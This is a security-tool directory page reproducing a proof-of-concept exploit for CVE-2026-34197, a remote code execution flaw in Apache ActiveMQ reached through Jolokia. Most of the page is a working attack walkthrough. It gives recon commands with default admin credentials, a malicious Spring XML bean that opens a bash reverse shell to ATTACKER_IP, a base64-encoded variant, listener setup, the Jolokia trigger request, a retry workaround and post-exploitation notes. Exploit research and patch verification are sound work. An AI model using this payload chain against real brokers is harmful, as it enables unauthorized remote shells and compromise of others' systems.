Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-34197-PoC — Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via Jolokia's addNetworkConnector, with technical notes and reverse shell payload. | Kitploit
Tools/GitHubGitHub/nirvanasec/cve-2026-34197-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubnirvanasec/cve-2026-34197-poc

CVE-2026-34197-PoC

Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via Jolokia's addNetworkConnector, with technical notes and reverse shell payload.

View Repository
7h 33m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-34197 — Apache ActiveMQ Jolokia addNetworkConnector RCE

Proof-of-concept and technical notes for CVE-2026-34197, a remote code execution vulnerability in Apache ActiveMQ Classic reachable through the Jolokia JMX-HTTP bridge.

  • Affected: ActiveMQ Classic < 5.19.4, and 6.0.0 – 6.2.2
  • Fixed in: 5.19.6 / 6.2.5
  • CVSS 3.1: 8.8
  • Root cause: the stock Jolokia access policy (conf/jolokia-access.xml) grants exec on every org.apache.activemq:* MBean. This includes Broker.addNetworkConnector(String), which accepts a vm:// transport URI whose brokerConfig query parameter the broker fetches and parses as a Spring XML bean definition file. A bean whose class is with is instantiated — and started — as a side effect of Spring resolving the bean graph. No deserialization gadget chain required.
java.lang.ProcessBuilder
init-method="start"

⚠️ For authorized testing / research / CTF use only. Do not run this against systems you don't own or have explicit permission to test.


1. Recon

root@kitploit:~
curl -s http://$TARGET:8161/ | grep -oiE 'activemq[^<]*[0-9]+\.[0-9]+\.[0-9]+'
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/version" | python3 -m json.tool

Confirm exec is actually reachable on the Broker MBean:

root@kitploit:~
curl -s -u admin:admin "http://$TARGET:8161/api/jolokia/list/org.apache.activemq:type=Broker,brokerName=localhost" \
  | python3 -m json.tool | grep -A3 addNetworkConnector

2. Host the malicious Spring XML

addNetworkConnector(String) does not accept a bare vm://... URI — it's parsed as a discovery-agent URI first, and vm isn't a registered discovery scheme (DiscoveryAgent scheme NOT recognized: [vm]). Wrap it in static:(...), ActiveMQ's static-discovery scheme, which passes the inner vm:// URI through unmodified:

root@kitploit:~
static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)

poc.xml:

root@kitploit:~
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pwn" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>

The <![CDATA[...]]> wrapper is needed because the reverse-shell one-liner contains &, which XML would otherwise try to parse as the start of an entity reference. An equivalent, escaping-free option is to base64 the command instead:

root@kitploit:~
<value>echo YmFzaCAtaSA+JiAvZGV2L3RjcC9BVFRBQ0tFUl9JUC80NDQ0IDA+JjE=|base64 -d|bash</value>

Serve it:

root@kitploit:~
python3 -m http.server 8000

Start a listener:

root@kitploit:~
nc -lvnp 4444

3. Trigger it via Jolokia

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "addNetworkConnector(java.lang.String)",
    "arguments": ["static:(vm://evil?brokerConfig=xbean:http://ATTACKER_IP:8000/poc.xml)"]
  }'

The Origin header matters. If this version's jolokia-access.xml has CORS enforcement enabled (a <cors></cors> block, even empty), Jolokia requires a well-formed Origin/Referer on state-changing requests. Omit it and you'll get a policy-denied response that can look like the box is patched when it isn't.

A successful call returns:

root@kitploit:~
{"value":"NC","status":200}

The call is blind over HTTP — there's no response body carrying command output — so your listener from the previous step is what actually catches the shell.

4. The InstanceAlreadyExistsException gotcha

addNetworkConnector(String) always registers the resulting JMX object under the connector name NC, regardless of what URI you pass in. This is a hardcoded default in ActiveMQ itself, not something derived from the request:

root@kitploit:~
// NetworkBridgeConfiguration.java (NetworkConnector extends this class)
private String name = "NC";

BrokerViewMBean.addNetworkConnector(String discoveryAddress) never exposes a way to override it — there is no name/query-parameter trick that changes the registered ObjectName (tested by hand: appending ?name=whatever outside the static:(...) wrapper is silently ignored).

Consequence: the second call to addNetworkConnector — whether it's your own retry after a broken payload, or simply because the connector is already registered from an earlier successful run — fails:

root@kitploit:~
{
  "error_type": "java.io.IOException",
  "error_type_jmx": "javax.management.InstanceAlreadyExistsException",
  "error": "Network Connector could not be registered in JMX: org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC",
  "status": 500
}

This does not require a broker restart to recover from. Broker also exposes removeNetworkConnector(String) over the same Jolokia policy (the <allow operation="*"> grant on org.apache.activemq:* covers every broker operation, not just this one). Clear the stale connector by name and retry:

root@kitploit:~
curl -s -u admin:admin \
  -X POST "http://$TARGET:8161/api/jolokia/" \
  -H "Content-Type: application/json" \
  -H "Origin: http://$TARGET:8161" \
  -d '{
    "type": "exec",
    "mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
    "operation": "removeNetworkConnector(java.lang.String)",
    "arguments": ["NC"]
  }'

A successful call returns {"value":true,"status":200}. Re-run step 3 immediately after — it re-registers NC and fires poc.xml again.

5. Post-exploitation notes

  • The reverse shell lands as whatever OS user owns the ActiveMQ JVM process — typically not the same identity as the Jolokia/console admin HTTP Basic credential, which is unrelated to the OS account.
  • addNetworkConnector doesn't just run the Spring bean once — it leaves a live network connector object registered on the broker (org.apache.activemq:type=Broker,brokerName=localhost,connector=networkConnectors,networkConnectorName=NC). This is a durable artifact of exploitation, independent of whether the spawned process itself persists.

References

  • Official Apache ActiveMQ security advisory
  • Horizon3.ai disclosure
  • NetworkBridgeConfiguration.java — source of the private String name = "NC"; default
  • BrokerViewMBean.java — addNetworkConnector / removeNetworkConnector JMX interface
  • NetworkConnector.java
  • DiscoveryNetworkConnector.java
  • CISA KEV addition coverage, April 2026
Download Tool